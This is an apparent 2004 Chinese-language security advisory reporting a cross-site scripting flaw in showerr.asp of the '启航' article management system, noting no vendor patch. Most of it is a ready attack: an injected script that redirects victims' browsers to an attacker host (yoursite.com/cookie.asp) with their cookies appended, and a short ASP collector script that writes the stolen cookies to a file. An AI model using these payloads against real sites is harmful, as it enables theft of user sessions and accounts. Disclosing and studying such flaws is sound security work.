[原创]启航文章管理系统存在跨站脚本漏洞

本文作者： rain[B.C.T]
文章出处： 原创 http://www.bnso.net
阅读次数： 424
发布日期： 2004-12-8
受影响版本：
启航文章管理系统目前所有版本


漏洞描述：
showerr.asp存在跨站脚本漏洞，恶意者可以构造有效连接非法获得远程用户cookie。


攻击方法：
http://www.target.com/showerr.as ... <script>alert(document.cookie)</script>
http://www.target.com/showerr.as ... rMsg=<script> document.location=&#39;http://yoursite.com/cookie.asp?&#39;%2Bdocument.cookie
</script>
其中“%2B”代表“+” 。

cookie.asp如下，即可收集cookie：


quote:
--------------------------------------------------------------------------------

<%
Testfile=server.mappath("info.txt")
Msg=request.servervariables("QUERY_STRING")
Set fs=server.createobject("scripting.filesystemobject")
Set thisfile=fs.opentextfile(testfile,8,true,0)
Thidfile.writeline(""&msg&"")
Thisfile.close
Set fs=nothing
%>

--------------------------------------------------------------------------------



厂商补丁：

启航文章管理系统
-----
目前厂商并没有发布了升级补丁以修复这个安全问题